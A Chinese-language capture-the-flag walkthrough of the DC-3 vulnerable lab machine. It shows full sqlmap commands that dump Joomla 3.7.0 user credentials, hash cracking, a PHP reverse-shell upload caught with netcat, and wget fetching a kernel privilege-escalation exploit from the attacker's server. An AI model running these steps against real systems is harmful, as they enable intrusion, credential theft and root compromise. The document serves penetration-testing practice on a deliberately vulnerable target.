靶机描述
下载地址:http://www.five86.com/downloads/DC-3-2.zip
1 | DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. |
信息收集
扫描同网段存活主机
1 | arp-scan -l |
扫描端口号,发现开放80端口,web应用服务
1 | nmap 172.18.1.137 |
尝试访问web页面,看到靶机提示,此靶机只存在一个flag,而且目标是获取管理员权限
此网页目前信息有限,尝试后台扫描
1 | dirsearch -u http://172.18.1.137/ -e * -i 200 |
后台存在管理员登录界面
在readme文件中也能看到对应的cms版本
漏洞发现
使用joomscan对网站进行探测
1 | joomscan是一款开源的且针对joomla的扫描器 |
1 | joomscan -u 172.18.1.137 |
针对cms的对应版本去寻找已知漏洞,使用工具searchsploit
1 | searchsploit是一款kali自带的搜索漏洞信息的模块 |
1 | searchsploit joomla 3.7.0 |
发现该版本的cms,存在一个sql注入漏洞
漏洞介绍存在的详细目录
1 | /usr/share/exploitdb/exploits/php/webapps/42033.txt |
给了漏洞存在地址,以及漏洞利用方式
漏洞利用
sql注入
1 | sqlmap -u "http://172.18.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dbs --batch |
然后看一下joomladb这个数据库的表名
1 | sqlmap -u "http://172.18.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --batch --tables |
查看表中的字段
1 | sqlmap -u "http://172.18.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns |
知道字段名后,就可以查看用户和密码
1 | sqlmap -u "http://172.18.1.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump |
密码被hash处理过,需要碰撞一下
密码破解
1 | 利用John工具,对该密码进行爆破拆解 |
这个密码就是登录后台的密码,账号是admin
反弹shell
在后台找到一个文件上传点
通过php写一个反弹shell的命令
1 |
|
对应的ip就是攻击机的ip,端口号需要开一个
joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为
1 | http://172.18.1.137/templates/beez3/webshell.php |
现在kali上开一个监听端口,然后在web上访问该文件
1 | nc -lvvp 1234 |
利用python升级成交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
提权
我们现在还没拿到root权限,根据靶机描述也可以知道,这里需要利用的属于系统漏洞,我们要通过系统来进行提权
首先先确定当前系统的版本信息
1 | # 操作系统信息 |
搜索相关漏洞
1 | searchsploit Ubuntu 16.04 |
漏洞详情路径为,里面存在exp的地址
1 | /usr/share/exploitdb/exploits/linux/local/39772.txt |
漏洞利用如下
exp地址如下
现在就需要把这个exp传到靶机中,我们首先下载exp到kali,然后kali开启http服务,再利用shell下载exp
靶场的镜像没法用了,现在有个新的exp连接
exp下载连接:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip?ref_type=heads&inline=false
kali开启http服务
1 | python3 -m http.server 8888 |
exp的下载地址
1 | http://172.18.1.128:8888/%E6%A1%8C%E9%9D%A2/exploit.tar |
回到我们的虚拟终端,利用wget命令下载该工具
1 | wget http://172.18.1.128:8888/%E6%A1%8C%E9%9D%A2/exploit.tar |
解压该压缩包
1 | tar -xvf exploit.tar |
根据漏洞利用方式,就是运行这两个文件
1 | cd ebpf_mapfd_doubleput_exploit |
提权成功!
查找flag
1 | find / -name *flag* |
总结
- joomla cms
- joomscan扫描器
- searchsploit漏洞搜索模块
- sqlmap进行sql注入
- John密码破解
- php反弹shell
- 系统提权
- 远程文件下载wget